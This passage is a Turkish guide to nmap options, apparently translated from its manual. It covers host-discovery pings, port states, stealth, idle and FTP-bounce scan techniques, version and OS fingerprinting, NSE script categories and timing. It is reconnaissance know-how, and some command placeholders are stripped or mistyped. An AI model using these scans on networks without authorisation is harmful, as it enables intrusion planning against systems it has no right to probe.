Bu seçenek en küçük INIT yığını olan SCTP paketi gönderir. Varsayılan<br />
kapı numarası 80'dir. -PS, -PA gibi -PY için de port listesi tanımlanabilir.<br />
INIT yığını karşı sisteme bir ilişki kurulacağını belirtir. Normal<br />
koşullarda karşı taraftaki kapı kapanır ve oradan ABORT yığını döner.<br />
Eğer kapı açık kalmışsa, hedef ikinci adıma geçer ve SCTP dört yönlü<br />
el sıkışma işlemini INIT-ACK yığınıyla başlatır. Nmap çalıştırılan makine<br />
işlevsel SCTP biriktirme özelliği (stack) varsa, COOKIE-ECHO yığını<br />
yerine, ilişkiyi kesmek için ABORT yığını gönderir Bu da zaten dörtlü el<br />
sıkışmadaki bir sonraki adımdır. Beklenmedik INIT-ACK yığınına karşılık<br />
olarak ABORT paketleri nmap programından değil, nmap çalıştırılan<br />
makinenin kernel kodundan iletilir Burada nmap INIT-ACK ya da ABORT<br />
yanıtına bakmaz. Onun için önemli olan sunucunun var olması ve yanıt<br />
veriyor olmasıdır.<br />
-PE; -PP; -PM (ICMP ping türleri)<br />
TCP, UDP ve SCTP sunucu bulma türlerine ek olarak nmap bilinen ping<br />
programına uygun ping paketleri de gönderebilir. Nmap ICMP tip 8<br />
(yankı isteği) paketlerini karşı sisteme gönderir ve tip 0 (yankı yanıtı)<br />
bekler. Ama birçok güvenlik kalkanı bu tür paketleri engellemektedir.<br />
Bu nedenle ICMP türü taramalar bilinmeyen IP'ler için pek de başarılı<br />
arama türü değildir. Ama yerel ağı denetleyen sistem yöneticileri kendi<br />
yerel ağlarında kullanıp doğru ve güvenilir sonuçlar alırlar.<br />
-PO (IP protokol ping)<br />
Yeni sunucu bulma tekniklerinde biri de IP protokolü ping komutudur.<br />
IP başlığına gereken protokol numarası eklenmiş olarak paket gönderir.<br />
Protokol listesi için kalıp TCP, UDP, SCTP için kullanılan kapı<br />
numaralarıyla aynıdır. Eğer protokol belirtilmezse birden çok ICMP<br />
paketi (protokol 1, 2, ve 4) ile gönderilir. ICMP, IGMP, TCP (protokol 6)<br />
için, UDP (protokol 17) için ve SCTP (protokol 132) için normal protokol<br />
başlıkları kullanılır ama diğerleri için IP başlığı dışında protokol<br />
başlıkları yoktur ( ama “–-data-length” belirtilirse başlıklar da olur).<br />
Bu seçenekte yanıt aynı protokolden olursa sunucu bu protokolü<br />
anlıyor kabul edilirken ICMP mesajı geldiğinde, belirtilen protokol<br />
sistemde tanımlı değildir diye yorumlanır.
-PR (ARP ping)<br />
EN çok kullanılan nmap senaryolarından biri ethernet yerel ağını<br />
taramaktır. Nmap ICMP yankı isteği gibi ham IP paketi göndermek<br />
isterken işletim sistemi karşı tarafın donanım adresini (ARP adresi)<br />
bilmek isteyebilir. Böylece ethernet mesaj yapısı düzgünce<br />
adreslenmiş olur. Bu biraz masraflı bir yöntemdir. Çünkü işletim<br />
sistemleri kısa sürede milyonlarca ARP isteğine yanıt verecek şekilde<br />
tasarlanmamıştır.<br />
--disable-arp-ping (no ARP or ND ping)<br />
nmap normalde ARP ve ipv6 için çevre taraması (ND) yapar. Ama bu<br />
kullanım biçimi proxy ARP ortamı için daha kullanışlıdır. Bu durumda<br />
istenen her IP için proxy sunucu olumlu yanıt verecek ve sistemin canlı<br />
olduğunu söyleyerek nmap sonuçlarını yanıltacaktır.<br />
--traceroute (sunucuya kadar yolu tara)<br />
Tarama sonrasında kullanılır. Kapı ve protokolü bilinen sunucuya<br />
ulaşmak için bu seçenek kullanılır. Tüm taramalarla kullanılabilir (-sT<br />
ve -sI hariç).<br />
Traceroute düşük TTL paketi göndererek başlar. Aralardaki zaman<br />
aşımı mesajı gönderen sunuculara kadar devam eder. Amaç hedef<br />
sunucuya kadar arada nelerin olduğunu saptamaktır. Yalnız bir yerel<br />
ağ taranıyorsa bu durumda nmap yalnız 2 paket gönderecektir.<br />
-n (hiçbir zaman DNS çözümü yapma)<br />
Bulanan IP adresinde DNS çözümüne gidilmemesi için kullanılır.<br />
Böylece işlemler daha da hızlanmış olur.<br />
-R (tüm hedefler için DNS çözümü istenecek)<br />
Tüm aranan sunucular için ters DNS çözümü istenirken kullanılır. Ama<br />
normal koşullarda aktif olan sunucular için kullanılması daha doğrudur.<br />
--system-dns (sistem DNS çözümleyicisini kullanın)<br />
nmap normalde sizin <strong>bilgisayar</strong>ınızın bağlı olduğu DNS sunucuya direkt<br />
mesaj göndererek DNS çözümü yapar ve yanıt bekler. Hızlı olması için<br />
düzineler düzeyinde paralel istek yapılır.
--dns-servers server1 server2 ... server3<br />
Yerel kapı tarama<br />
Varsayılan olarak nmap genelde sizin <strong>bilgisayar</strong>ın kullandığı DNS<br />
sunucuyu kullanır. Başka DNS sunucular kullanmak için bu seçeneği<br />
değerlendirebilirsiniz. Bazı özel ağları tararken bu komut gerekebilir.<br />
Her DNS sunucu rDNS desteği vermeyebilir.<br />
nmap başlangıçta kapı tarayıcı olarak çalıştırıldı. Zaman içinde gelişme<br />
gösterdi ama ana işlevi hep kapı tarama oldu. En basit nmap <br />
biçimindeki kullanımı sunucudaki 1000 kadar TCP kapısını tarar. Bu<br />
taramalarda nmap kapısı 6 konumda tanımlar: opened, closed, filtered,<br />
unfiltered, open|filtered, closed|filtered. Bu konumlar nmap tarafından bir<br />
kapının görünüş biçimidir<br />
Nmap tarafından bilinen altı kapı konumu şöyledir:<br />
open (açık)<br />
Bu konumda bir uygulama TCP, UDP ve SCTP paketlerini kabul<br />
edebilmektedir. Bu konumu bulmak kapı taramasının hedefidir.<br />
Güvenlikle uğraşanlar her açık kapının saldırı için önemli bir kapı<br />
olduğunu bilirler. Açık kapı aynı zamanda bu servisin ağ içinde<br />
kullanılabilir olduğunu da gösterir.<br />
closed (kapalı)<br />
Kapalı kapı erişilebilir demektir. Ama arkasında çalışan bir uygulama<br />
yoktur. Ayrıca sunucunun IP adresinde var olduğu anlaşılır.<br />
filtered (filitreli)<br />
Paket elemesi yüzünden nmap kapı hakkında bilgi edinemez. Eleme<br />
ayrı bir güvenlik kalkanı sunucusundan olabilir.<br />
unfiltered (filitresiz)<br />
Bunun anlamı kapıya erişim vardır. Ama kapı durumu nmap tarafından<br />
bilinememektedir.<br />
open|filtered (açık ve elemeli)<br />
nmap kapı açık mı elenmiş mi bilemeyince bu konuma alır.<br />
closed|filtered (kapalı ve elemeli)<br />
nmap kapı kapalı mı yoksa elemeli mi bilemediğinde bu konuma alır.
Port (kapı) tarama teknikleri<br />
İşi bilenler kapı taramasını doğru teknikle hemen yaparken, yeniler her şeyi<br />
SYN ile çözmeye kalkarlar. Nmap ücretsiz olduğundan kapı taramasındaki<br />
tek engel bilgidir.<br />
Pek çok tarama teknikleri yalnız yetkili kullanıcıya açıktır. Çünkü bu teknikler<br />
ham veri gönderip alırlar ve UNIX altında yalnız “root” yapabilir. Windows<br />
işletim sisteminde de “administer” işi yapmalıdır. WinPcap yüklenmişse<br />
sıradan kullanıcı da nmap çalıştırabilir. Eskiden “root” yetkisi sorundu ama<br />
şimdi <strong>bilgisayar</strong> sistemleri ucuzladı ve herkesin kendi diz üstü <strong>bilgisayar</strong>dan<br />
işlem yapması kolaylaştı.<br />
Nmap başarısı hedef sunuculardan ya da önlerindeki güvenlik kalkanından<br />
gelen paketlerle ölçülür. Nmap açısından bir <strong>bilgisayar</strong>ın güvenilir olmaması<br />
alınan yanıtların tutarsızlığıyla doğru orantılıdır.<br />
Aşağıda nmap tarafından desteklenen kapı tarama teknikleri anlatılmıştır.<br />
-sS (TCP SYN tarama)<br />
Bir çok iyi nedenden ötürü SYN seçeneği en çok kullanılan ve<br />
varsayılan taramadır. Hızlı bir ağ altında güvenlik kalkanıyla<br />
elenmemiş binlerce kapı bir kaç saniyede taranabilir. TCP bağlantısını<br />
hiç bir zaman tamamlamaz.<br />
Bu teknik her zaman yarı açık taramadır. Çünkü burada tam TCP<br />
bağlantısı açmazsınız. SYN paketi gönderip SYN/ACK beklersiniz, yanıt<br />
gelirse kapı dinlemededir. RST ise dinleme olmadığını belirtir.. Birkaç<br />
deneme sonunda yanıt gelmezse, kapı elenmiş kabul edilir. Kapı ICMP<br />
erişilemiyor hatası alırsa da elenmiş kabul edilir (tip 3, kod 1, 2, 3, 9,<br />
10 ya da 13). Eğer SYN için ACK yanıtı gelirse kapı açık kabul edilir<br />
(bakınız http://nmap.org/misc/split-handshake.pdf)<br />
-sT /TCP connect tarama)<br />
SYN bir seçenek olmadığı zaman bu varsayılan tarama biçimi olur. Yani<br />
kullanıcı “root” yetkisine sahip değilse denmek istenmiştir. Nmap<br />
işletim sistemine hedef sunucuyla bağlantıyı “connect” komutuyla<br />
kurulmasını isteyerek işlemi başlatır. Sistem bağlantıyı yarım-bağlantı<br />
yerine tamamlayarak bitirir. Eğer SYN varsa tabi ki tarama için daha iyi<br />
bir çözümdür.
-sU (UDP tarama)<br />
Bir çok servis TCP protokolüyle çalışırken, UDP servisleri yaygın<br />
kullanım alanına sahiptir. DNS, SNMP ve DHCP (53, 161/162 ve 67/68<br />
kapıları) sık kullanılanlardan ilk üçüdür.<br />
UDP taraması TCP'ye göre daha yavaş olduğundan bazı tarayıcılar UDP<br />
taramasını tümüyle atlarlar. Bu seçenek TCP SYN taramasıyla<br />
birleştirilerek kullanılabilir. UDP taramasında açık ve elemeli kapılar hiç<br />
yanıt vermezler ve nmap zaman aşımına düşer. Kapalı kapılar daha<br />
büyük problemdir. Çoğu zaman ICMP hatası verir. Nmap ağ akışında<br />
yığılma olmasın diye işlemi yavaşlatır. Yavaş sunucular için “-–hosttimeout”<br />
parametresi kullanılabilir.<br />
-sY (SCTP INIT tarama)<br />
TCP ve UDP protokollerine göre daha yeni bir protokoldür. Aynı<br />
zamanda çoklu tarama ve çoklu ana sistem seçenekleri de eklenmiştir.<br />
Daha çok SS7/SIGTRAN türü servisler için kullanılır. SCTP INIT taraması<br />
TCP SYN eşdeğeridir. Bu protokol ile açık, kapalı ve elenmiş kapı<br />
konumları daha kolay ayrılabilir. Bu tekniğe yarı açık ilişki kurma denir<br />
çünkü tam bir ilişki kurulmaz. INIT gönderilir ve ACK beklenir. Gelirse<br />
kapı açıktır, yerine ABORT gelirse kapı dinlemede değildir. Bir kaç<br />
deneme sonunda hiç mesaj gelmezse kapı elenmiştir.<br />
-sN; -sF; -sX (TCP NULL, FIN ve Xmas tarama)<br />
Bu üç tarama türleri ve daha başkaları (--scan-flag kullanılarak) açıkla<br />
kapalı konum arasında TCP döngü açığı bulmaya çalışır.<br />
-sN (NULL tarama)<br />
TCP başlığında veri yoktur<br />
-sF (FIN tarama)<br />
yalnız TCP FIN bit değeri 1 yapılır.<br />
-sX (Xmas tarama)<br />
FIN, PSH ve URG bitlerini yakarak Noel ağacı gibi renkli bir paket<br />
oluşturur.<br />
Bu üç tür TCP paketlerindeki bit değerleri dışında birbirleriyle aynı<br />
özelliktedir. Eğer RST paketi alınırsa kapı kapalıdır. ICMP erişilemez<br />
hatası alınırsa kapı elenmiştir. Hiç yanıt alınmazsa open|filtered<br />
konumundadır.
-sA (TCP ACK tarama)<br />
Burada amaç açık ya da açık|elenmiş kapılar değildir. Amaç güvenlik<br />
kalkanının özelliklerini anlamaktır. Burada paketin yalnız ACK biti<br />
vardır. Açık ve kapalı kapılar RST döndürür. Bunlar elenmemiş olarak<br />
kaydedilir. ICMP mesajı döndürenlerse elenmiş kapılardır.<br />
-sW (TCP Window tarama)<br />
Sistemlerdeki uygulamaların farklarına göre ACK taramasıyla aynı<br />
olmasına rağmen açık ve kapalı kapılar arasında ayrım<br />
yapabilmektedir. Açık sistemlerde RST mesajlarında bile bazı sistemler<br />
olumlu pencere boyu döndürürler (pencere/window için TCP<br />
protokolüne bakın). Bu uygulamayı denetlemeyen sistemlerde tüm<br />
kapılar kapalı gözükür. Bazı küçük kullanıcı ortamı olan ve yaygın<br />
olmayan sistemlerde uygulama bağımlı çözüm üretilmemiş<br />
olduğundan güvenilir sonuçlar alınamayabilir.<br />
-sM (TCP Maimon tarama)<br />
Bu tarama biçimini bulan kişinin soyadını taşır. FIN/NULL/Xmas<br />
tekniğiyle aynıdır tek fark pakette FIN/ACK birlikte yakılmıştır. Eğer<br />
kapı açık/kapalı ise RST üretilir ama pek çok eminde kapı açıksa<br />
pakete yanıt verilmez.<br />
--scan-flag (kullanıcıya özel tarama)<br />
Bu seçenekle ileri düzeydeki nmap kullanıcıları kendi tarama<br />
yöntemlerini paketlerdeki bitlerden hangilerini yakacaklarını<br />
belirleyerek saptayabilirler. URG, ACK, PSH, RST, SYN, ve FIN bitlerini<br />
karıştırarak seçenek içinde kullanmak mümkündür. Tanımlar yerine<br />
biliyorsanız sayısal değerleri de kullanabilirsiniz.<br />
Bunlara ek olarak TCP tarama türlerinden -sA ya da -sF de<br />
kullanabilirsiniz.<br />
-sZ (SCTP COOKIE-ECHO tarama)<br />
Bu tarama yöntemi daha gelişmiş olanıdır. Açık kapıarda SCTP<br />
uygulaması sessizce COOKIE yığını olan paketleri siler. Bu özelliği<br />
kullanan tarama yöntemi güvenlik kalkanlarında COOKIE ECHO<br />
engellemesi olmasa bile INIT engellemesi olabileceği durumlara göre<br />
daha avantajlıdır.
-sI [:] (idle tarama)<br />
Bu gelişmiş tarama yöntemi gerçek anlamda hedef sunucu için kör<br />
kapı taraması yapar. Sizin <strong>bilgisayar</strong>ınızın IP'sinden hedefe gerçek<br />
paket gönderme yapılmaz. Buna karşın bir zombi sunucudan yan kanal<br />
atağıyla hedef sunucunun açık potları hakkında bilgi sorgulaması<br />
yapılır. IDS sistemleri isteğin belirttiğiniz zombi sistemden geldiğini<br />
gösterir. Ayrıntılı bilgi için http://nmap.org/book/idlescan.html adresine<br />
bakınız.<br />
-sO (IP protokol scan)<br />
IP protokol taraması hedef sunucunun hangi IP protokollerini (TCP,<br />
ICMP, IGMP vb.) desteklediğini göstermekte kullanılır. Bu gerçek<br />
anlamda bir kapı tarama değildir. Daha çok IP protokol sayıları<br />
arasında değişim olduğundan kapı taraması sayılmaz. Ama hala -p ile<br />
protokol sayılarının seçenek olarak kullanılmasını sağlar.<br />
-b (ftp dönüş taraması)<br />
FTP protokolünün en ilginç yönü proxy FTP bağlantısını<br />
desteklemesidir. Kullanıcı bir FTP sunucuya bağlanır ve o sunucuya<br />
üçüncü bir sunucuya transfer yapması için mesaj gönderir. Bunun en<br />
tuhaf işlerinden biri hedef FTP sunucuya bir başka sunucunun kapı<br />
taraması yapmasını sağlattırmaktır. Ya da FTP sunucunun hedef<br />
sunucunun tanımlanan kapılarına dosya göndermesini sağlamaktır.<br />
Nmap bu işlemi -b seçeneği ile yaparken FTP sunucu tanımı için<br />
:@: kullanılması<br />
gerekir. 1998'de çok kullanılan bir özellikti ama artık bu sorun ftp<br />
sunucuların çoğunda çözülmüş görünmektedir.<br />
Kapı tanımları ve tarama sırası<br />
-p < kapı sınırları><br />
-F (Hızlı (sınırlı sayıda kapı) tarama)<br />
-r (kapıları rastgele üretme)<br />
--port-ratio <br />
--top-ports
Servis ve sürüm belirleme<br />
nmap uzaktaki bir sunucuya yönlendirildiğinde size 25/tcp, 80/tcp ve 53/udp<br />
kapılarının açık olduğunu söyleyecektir. 2200 adet iyi bilinen servis veri<br />
tabanına göre bunların SMTP, HTTP ve DNS servislere ait olduğunu<br />
söyleyecektir. Bu servisler genelde belirtilen kapılarda bulunur ama güvenlik<br />
açısından bazı yöneticilerin kapıları değiştirdikleri görülmüştür.<br />
Nmap doğru da söylemiş olsa uyarıdaki bilgi yeterli değildir. Hangi<br />
programların ve hangi sürümlerin olduğunu bilmek istersiniz. TCP ve UDP<br />
kapılar belirlendikten sonra, gerçekte bu kapıların arkasında neyin<br />
koştuğunu bilmek istersiniz. “map-service-probes” veri tabanı hangi<br />
mesajları göndereceğini ve nasıl yanıt alacağını bilir.<br />
Nmap servis protokolünü bulmaya çalışırken (FTP, SSH, Telnet, HTTP gibi),<br />
uygulamanın adını (ISC BIND, Apache httpd, Solaris telnetd gibi) ve sürüm<br />
numarası, sunucu adı, cihaz tipi (printer, router gibi) işletim sistemi ailesi<br />
(windows, linux gibi) bilgilerini de toplar.<br />
Eğer uygun olursa bu bilginin genel yazı biçiminde tanımlanışını da hazırlar.<br />
Bazen X sunucu bağlantılara açık mı, SSH protokol sürümü ya da KaZaA<br />
kullanıcı adı var mı gibi sıra dışı bilgilere de ulaşılabilir. Tabi ki bir çok servis<br />
bu bilgileri vermez. Eğer nmap OpenSSL desteğiyle derlenmişse, şifreleme<br />
katmanının arkasından servis dinlemek için SSL sunucuya bağlanır. UDP kapı<br />
tarama açıldıktan sonra bazı UDP kapılar açık| elenmiş komunda kalır. Sürüm<br />
belirleme işlemi bu kapılardan bilgi almaya çalışır. Açabilirse bu kapının<br />
durumunu değiştirir (açık kapılarda yaptığı gibi). Eğer başarılı olunursa açık|<br />
elenmiş kapılar için de aynı biçimde değerlendirilir. Bilinmesi gereken önemli<br />
nokta nmap -A seçeneği sürüm belirlemeyi diğer şeylerin yanında yapabilir.<br />
Eğer nmap aldığı yanıtı veri tabanındakilere benzetemezse, kapıya ne<br />
gönderileceğini anlamanız için sonucu yazdırır.<br />
Nmap 6500 deseni 650'den fazla SMTP, FTP, HTTP gibi protokoller için<br />
tanımlamıştır.<br />
Sürüm belirleme aşağıdaki seçeneklerle yapılır:
-sV<br />
Yukarıda belirtildiği gibi sürüm numarasını belirlemekte kullanılır.<br />
--all-ports<br />
Sürüm belirlemede hiç bir kapısı atlama<br />
--version-intensity <br />
-sV sürüm taraması yapıldığında nmap bir dizi mesaj gönderir, 1 ile 9<br />
arasında az bulunma sayısı atanır. Düşük sayılar daha çok kullanılan<br />
servisleri tanımlar. Yoğunluk (intensity) düzeyi hangi mesajların<br />
kullanılması gerektiğini belirtir. Ama yüksek yoğunluk düzeyi<br />
olduğunda işlem daha uzun sürer. Varsayılan değer 7 olarak<br />
belirlenmiştir. Yoğunluk düzeyi 0 ile 9 arasında olabilir.<br />
--version-light<br />
Bu aslında –version-intensity 2 ile aynı anlama gelir. Daha hızlı işlem<br />
yapar ama daha az doğru sonuç çıkarır.<br />
--version-all<br />
eşdeğeri –version-intensity 9 olur ve her kapı için tüm mesajlar<br />
denenir.<br />
--version-trace<br />
Sürüm belirleme hakkında “nmap ne iş yapmaktadır?” bu seçenekle<br />
tanımlanır. Bayağı geniş bir açıklama kullanıcıya işlem hakkında<br />
ayrıntılı bilgi verebilmektedir.<br />
İşletim Sistemi belirleme<br />
nmap tarafından en iyi yapılabilen şey karşı sunucunun işletim sistemini<br />
belirlemektir. Nmap karşı sunucuya bir dizi TCP ve UDP paketleri gönderir ve<br />
yanıttaki tüm bitleri inceler. Daha sonra yapılan bir dizi test sonucu (TCP ISN<br />
örneklemesi gibi) nmap-os-db veri tabanındaki işletim sistemi parmak<br />
izlerinden (2600 işletim sistemi parmak izi vardır) hangi işletim sistemi<br />
olduğu bulunur. Her parmak izi işletim sisteminin açık yazılı biçimini, üretici<br />
firmasını (Sun gibi) işletim sistemi sürümünü (10 gibi) ve cihaz tipini (genel<br />
amaçlı, router, switch, oyun konsolu gibi). Bir çok parmak izinde<br />
cpe:/o:linux:linux_kernel:2.6 gibi ortak platform adlandırması (CPE) bulunur.
Eğer nmap işletim sistemini tahmin edemezse ve koşular iyiyse (en az bir<br />
açık kapı ve bir kapalı kapı) nmap size parmak izini gönderebileceğiniz bir<br />
URL gösterir. Buna göre siz sunucudaki işletim sistemini anlarsanız, nmap<br />
veri tabanına nasıl ekleneceğini bildirir, bundan sonra başkalarına da bu<br />
cihazı tanımakta yardım olmuş olursunuz.<br />
İşletim Sistemi belirleme bu adımda yapılan diğer işlemlerle elde edilen<br />
bilgileri de paylaşır. Bunlardan biri TCP Sequence Predictability Classification<br />
(TCP Tahmin edebilme Sınıfı sıralaması) olarak bilinir. Bu bilgi karşı sisteme<br />
bağlanabilmenin ne kadar zorlukta olduğunu bildirir. Bu işlem sırasında<br />
kaynak IP belirtilebilir, rlogin, güvenlik kalkanı gibi elemeler incelenebilir.<br />
Ama bazı koşullarda kaynak IP'nin gizlenmesi de gerekebilir. Bu tür kaynak<br />
gizleme artık pek yapılmamaktadır. Gerçek zorluk derecesi istatistik<br />
örneklemelere dayanır ve değişebilir. Ama İngilizce sınıflamayı kullanmak<br />
daha iyidir (“worthy challenge” ya da “trivial joke” gibi). Bu normal çıktı<br />
konumunda (-v) ile olur. Eğer açıklamalı konum -O ile beraber açılırsa, IP<br />
tanıtım üretimi de yazdırılır. Bir çok makine “incremental” (basamak) sınıfı<br />
konumdadır. Bunun anlamı IP paketindeki ID bilgi alanını her mesaj<br />
gönderdiklerinde arttırırlar.<br />
Aşağıdaki seçeneklerle işletim sistemi açılır ve kontrol edilir.<br />
-O (işletim sistemi belirlemeyi başlat)<br />
İşletim Sistemi belirlemeyi başlatır. Ek olarak -A seçeneği ile diğerleri<br />
de belirlenebilir.<br />
--osscan-limit (işletim sistemini hedef sunucularla sınırla)<br />
Bir kapalı ve bir açık kapı bulunduğunda işletim sistemi belirleme daha<br />
etkin olabilir. Bu seçenek kullanıldığında nmap yeterli açık ve kapalı<br />
kapı yoksa işletim sistemi belirlemeye kalkışmaz bile.<br />
--osscan-guess; fuzzy (İşletim sistemi bilgileriyle tahmin yap)<br />
nmap tam olarak işletim sistemini saptayamasa bile en yakın<br />
olasılıkları sunabilir.<br />
--max-os-tries (Bir hedef için en çok işletim sistemi tahminini sınırla)<br />
nmap işletim sistemi taraması yapar ama doğru sonuç elde edemezse<br />
başka denemeler yapmaya başlar. Bu seçenekle kaç tane deneme<br />
yapılabileceği belirtilmiş olur.
Nmap komut makinesi (NSE)<br />
nmap komut makinesi (NSE) nmap'in en güçlü ve en esnek özelliklerinden<br />
biridir. Kullanıcıların küçük komut dizileri yazıp paylaşmalarına olanak verir<br />
(Bu iş için Lua programlama dili http://lua.org/ kullanılır). Bu komut dizileriyle<br />
geniş amaçlı ağ işlemleri otomatik olarak yapılabilir. Bu komutlar nmap<br />
programından beklenen hız ve verimlilikle paralel olarak çalıştırılır.<br />
Kullanıcılar nmap ile dağıtılan komutları müşteri isteklerine göre<br />
değiştirebilir ya da kullanabilir.<br />
İşe başlarken aklımızdaki işler ağı tanımlamak, daha geniş sürüm tanımı<br />
yapmak, kırılganlığı belirlemek olmuştur. NSE kırılganlığın araştırılmasında<br />
da kullanılabilir.<br />
Bu tür değişik kullanım biçimlerini yansıtmak için hangi komutların<br />
çalıştırılacağı seçilmelidir. Bu komutlar çalışma alanına göre sınıflara<br />
ayrılmıştır. Şu anda bilinen sınıflar: auth (yetki), broadcast (yayım), default<br />
(varsayılan), discovery (araştırma/bulma), dos, exploit (faydalanma),<br />
external (dış), fuzzer (sahte, saçma veri), intrusive (sızan), malware (kötü<br />
amaçlı), safe (güvenli), version (sürüm) ve vuln (kırılım) dır. Ayrıntılar<br />
http://nmap.org/book/nse-usage.html#nse-categories adresinde vardır.<br />
Toplu olarak çalıştırılan komutlar, istenmeden sisteminize zarar da verebilir.<br />
Ya da özelinizi kurcalayabilir. Üçüncü partilerin komutlarını inceleyip güvenli<br />
olmadan sakın kullanmayın.<br />
Nmap altında bulunan seçenekler şunlardır:<br />
-sC<br />
Var olan komut kümesiyle komut taraması yapar. Aslında –<br />
script=default ile aynı anlama gelir. Bu sınıftaki bazı komutlar araya<br />
giren (sızan) türdendir ve ağ sorumlusundan izin alınmadan<br />
kullanılmamalıdır.<br />
--scriot |||[,...]<br />
Komut taramasını virgülle ayrılmış dosyaları, sınıfları ve dosya yollarını<br />
kullanarak yapar. Bu listelerdeki her öge daha karmaşık komut<br />
kümesini gösteren mantıksal bir deyim olabilir. Her öge bir deyim,<br />
daha sonra sınıf , dosya ve son olarak dosya yolu olarak yorumlanır.
Gelişmiş kullanıcılar için özellikler vardır. Biri deyimlerin ve komut<br />
adlarının önüne + koyarak ön ek tanımlamaktır. Böylece çalışmaması<br />
gerekse bile bu komutlar çalıştırılmış olunur. Diğeri ise her komutta<br />
nmap veri tabanındaki tüm parametrelerin belirtilmesidir. Bu konuda<br />
çok dikkatli olmak gerek. Çünkü nmap bazı koşullarda sızıntılar, zorla<br />
yetki kırma gibi çok tehlikeli komutları içerir.<br />
Dosya adı ve dosya yolu göreceli ya da mutlak olabilir. Mutlak adlar<br />
doğrudan kullanılabilir. Göreceli adlarda dosya yolu için aşağıdaki<br />
alanlarda komut olup olmadığına bakılır:<br />
--datadir<br />
$NMAPDIR<br />
~/.nmap (windows ortamında buna gerek olmaz)<br />
\AppData\Roaming\nmap (yalnız Windows için)<br />
nmap'in bulunduğu dosya yolu<br />
nmap'ın bulunduğu dosya yolunda ../share/nmap altında<br />
NMAPDATADIR<br />
O anda kullanılan dosya yolu<br />
Bir dosya yolu verildiğinde nmap buradaki sonu .nse ile biten tüm<br />
dosyaları yükler. Diğer dosyalar dikkate alınmaz. Dosya yolları<br />
özyinemeli (recursive) taranmaz. Eğer parametrede dosya adı<br />
verilmişse sonunun .nse olması gerekmez, dosya yüklenir.<br />
Nmap komutları, nmap'in programcıkları (scripts) alt dosya yolunda<br />
bulunur. Hozlı olması için komutların bir veri tabanında<br />
(scripts/script.db) dizini tutulur. Burada komutun hangi sınıf ya da<br />
sınıflarda bulunduğu saklanır.<br />
Script.db altındaki komutlara erişimde “*” türü yazım geçerlidir.<br />
nmap –script “http-*”<br />
Burada http- ile başlayan tüm komutlar yüklenir. (örnek:<br />
http-auth ve http-open-proxy gibi). Bu seçenekte<br />
parametre değeri tırnak içinde olmalıdır (kabuk<br />
programının etkisini kaldırmak için)
Daha karmaşık komut seçimi “and”, “or” ve “not”<br />
kullanılarak yapılabilir. Lua'da işlemlerin önceliği aynıdır.<br />
“not” her zaman en yüksek önceliklidir. Parantezler<br />
kullanarak öncelikleri değiştirebilirsiniz. Bir çok deyimde<br />
boşluklar olduğundan bunları her zaman tırnak içine almak<br />
gerekir.<br />
Nmap –script “not intrusive”<br />
Sızıntılar sınıfı dışındaki her komutu yükler<br />
namp –script “default or safe”<br />
Bu aslında nmap –script “default,safe” ile aynı anlama<br />
gelir. Varsayılan ya da güvenli sınıfındaki tüm komutları<br />
yükler.<br />
Nmap –script “default and safe”<br />
Hem varsayılan hem de güvenli sınıflarında bulunanları<br />
yükler.<br />
Nmap –script “(default or safe or intrusive) and not http-*”<br />
Varsayılan, güvenli ve sızıntı sınıflarında bulunan ama httpile<br />
başlamayan komutları yükler.<br />
--script-args =,={=v3>},={,}<br />
NSE komutlarına parametre değerleri atanmasını sağlar. Parametre<br />
değerleri ad=değer ikilisinin virgüllerle ayrılmış olanıdır. Adlar ya da<br />
değerler içinde boşluk, '{', '}', '=', ',' olmayan karakter dizileridir.<br />
Bunlardan birini içermesi için karakter dizisini çift ya da tek tırnak içine<br />
alın. Tırnakları kullanabilmek için önüne ' \' yazın. Değerler bazen '{'<br />
ve '}' içine yazılan tablo ögeleri olabilir. Lua dilinde bir tablo karakter<br />
dizisi ya da ad ve değer ikilisi ögelerden ya da başka tablolardan<br />
oluşabilir. Bir çok komutta parametreler komut adıyla kullanılır.<br />
Örneğin xmpp-info.server_name gibi. Bu tür tanımı yalnız bir komutta<br />
kullanmak için kullanabilirsiniz ya da “server_name” gibi belirleyici<br />
olmayan halini bunu kullanan tüm komutlar için kullanabilirsiniz. Bir<br />
komut önce kendine ait tanımlı parametrelere bakar, daha sonra genel<br />
ve belirleyici olmayan parametre değerlerini inceler Karmaşık bir<br />
komut parametre listesi örneği
--script-args 'user=foo,pass=",<br />
{}=bar",whois={whodb=nofollow+ripe},xmppinfo.server_name=localhost'<br />
biçiminde olabilir. http://nmap.org/nsedoc/ adresinde komutların kabul<br />
edebileceği parametreler vardır.<br />
--script-args-file <br />
Burada parametreler bir dosyadan alınır.<br />
--script-help ||||all[,...]<br />
Komut hakkındaki yardımı göstermek için kullanılır.<br />
--script-trace<br />
Bu seçenek –packet-trace ne iş yapıyorsa onu yapar.<br />
--script-updatedb<br />
nmap tarafından kullanılan scripts/script.db veri tabanını<br />
güncellemede kullanılır.<br />
Zamanlama ve verim<br />
Nmap değiştirilirken en önemli öncelik verim olmuştur. Buna göre nmap<br />
sunucu_adı biçimindeki bir taramada yerel ağdaki sunucuyu taramak bir<br />
saniyenin 50'de biri kadar olur. Bu da göz kırpmak kadar kısa bir süredir.<br />
Ama bu süre yüzlerce sunucu taramaya kalktığınızda artar. Hatta UDP<br />
taraması ve sürüm belirleme ve bazı güvenlik kalkanı tanımları bu süre<br />
oldukça fazlalaştırır. Ama nmap bir çok gelişmiş algoritma ve paralelleştirme<br />
seçenekleriyle taramaları hızlandırır.<br />
Bazı seçenekler zaman parametresi içerir. Genelde süre saniye cinsindendir<br />
ama sonuna 'ms', 's', 'm' ya da 'h' gibi değerler ekleyerek zaman<br />
parametresini değiştirmek mümkündür. Buna göre “-–host-timeout”<br />
parametresinde 900000ms, 900, 900s, ve 15m hepsi aynı şeydir.
--min-hostgroup ;<br />
--max-hostgroup (Paralel tarama grubu büyüklüğü)<br />
Nmap bir çok <strong>bilgisayar</strong> için kapı ya da sürüm taraması yapabilir.<br />
Nmap bunu hedef IP adresleri sınıflara bölüp yapar. Her seferinde bir<br />
grubu tarar. Genelde kalabalık gruplar daha verimli olur. Bir sakıncası,<br />
tüm grup bitmeden sonuçların görünmüyor olmasıdır. Eğer nmap grup<br />
büyüklüğü 50 olarak başlamışsa, 50 sunucu taranmadan sonuç<br />
raporları çıkmaz.<br />
Bu sorunu önlemek için nmap grup boyunu 5 yaparak işleme başlar (ki<br />
ilk sonuçlar hemen alınabilsin) daha sonra artarak grup boyu 1024<br />
olana dek işlem sürdürülür. Verimlilik açısından UDP ve birkaç TCP kapı<br />
taraması için büyük gruplar kullanmak iyidir.<br />
